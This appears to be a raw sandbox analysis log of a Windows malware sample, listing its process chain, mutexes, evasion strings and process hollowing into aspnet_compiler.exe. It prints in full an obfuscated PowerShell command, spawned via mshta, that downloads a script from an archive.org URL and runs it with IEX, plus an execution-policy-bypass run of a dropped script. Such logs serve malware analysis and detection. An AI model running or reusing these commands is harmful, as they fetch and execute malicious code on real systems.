Source: 23.2.aspnet_compiler.exe.400000.0.unpack, Client/Settings.cs	Base64 encoded string: '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'
Source: 23.0.aspnet_compiler.exe.400000.0.unpack, Client/Settings.cs	Base64 encoded string: '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'

Source: 23.0.aspnet_compiler.exe.400000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 23.0.aspnet_compiler.exe.400000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 23.2.aspnet_compiler.exe.400000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 23.2.aspnet_compiler.exe.400000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1564:120:WilError_01

Source: C:\Users\user\Desktop\xGrfj8RvYg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\xGrfj8RvYg.exe 'C:\Users\user\Desktop\xGrfj8RvYg.exe'
Source: C:\Users\user\Desktop\xGrfj8RvYg.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT ='https://ia601509.us.archive.org/21/items/all-lol-123_20210603/ALL_lol123.TXT';$SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS='Down^^^^^^^^^^^^^string'.Replace('^^^^^^^^^^^^^','load');$OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO = 'WebBANKnt'.Replace('BANK','Clie');$T4RDTHFTJGJKHL='WFt'.Replace('WF','NE');$EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE='(NewYEAe'.Replace('YEA','-Obj');$FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF='ct System.$T4RDTHFTJGJKHL.$OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO).$SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS($TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT)';I`E`X ($EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE,$FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -Join '')\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\-----Run+++++++++.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Users\user\Desktop\xGrfj8RvYg.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT ='https://ia601509.us.archive.org/21/items/all-lol-123_20210603/ALL_lol123.TXT';$SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS='Down^^^^^^^^^^^^^string'.Replace('^^^^^^^^^^^^^','load');$OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO = 'WebBANKnt'.Replace('BANK','Clie');$T4RDTHFTJGJKHL='WFt'.Replace('WF','NE');$EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE='(NewYEAe'.Replace('YEA','-Obj');$FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF='ct System.$T4RDTHFTJGJKHL.$OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO).$SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS($TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT)';I`E`X ($EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE,$FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -Join '')\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\-----Run+++++++++.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior

Source: C:\Users\user\Desktop\xGrfj8RvYg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2688	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6527	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6447	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 6909	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 2765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 406	Jump to behavior

Source: C:\Users\user\Desktop\xGrfj8RvYg.exe TID: 5568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5488	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4356	Thread sleep count: 6447 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4348	Thread sleep count: 1046 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2220	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2220	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 6532	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 6532	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 6540	Thread sleep count: 6909 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 6540	Thread sleep count: 2765 > 30	Jump to behavior

Source: powershell.exe, 00000003.00000002.484716510.0000027D9FCE0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.477044465.00000000054D0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: aspnet_compiler.exe, 00000017.00000000.310047645.0000000000402000.00000040.00000001.sdmp	Binary or memory string: vmware
Source: aspnet_compiler.exe, 00000017.00000002.469001250.0000000000E65000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.484716510.0000027D9FCE0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.477044465.00000000054D0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: powershell.exe, 00000003.00000002.484716510.0000027D9FCE0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.477044465.00000000054D0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: powershell.exe, 00000003.00000002.484398533.0000027D9F8A2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000003.00000002.484716510.0000027D9FCE0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.477044465.00000000054D0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: powershell.exe, 00000003.00000002.470709255.0000027D85B90000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.471299747.0000000002C3C000.00000004.00000001.sdmp, aspnet_compiler.exe, 00000019.00000002.469212629.00000000018D0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000003.00000002.470709255.0000027D85B90000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.470083278.00000000014C0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000019.00000002.469212629.00000000018D0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000003.00000002.470709255.0000027D85B90000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.470083278.00000000014C0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000019.00000002.469212629.00000000018D0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: powershell.exe, 00000003.00000002.470709255.0000027D85B90000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.470083278.00000000014C0000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000019.00000002.469212629.00000000018D0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\xGrfj8RvYg.exe	Queries volume information: C:\Users\user\Desktop\xGrfj8RvYg.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
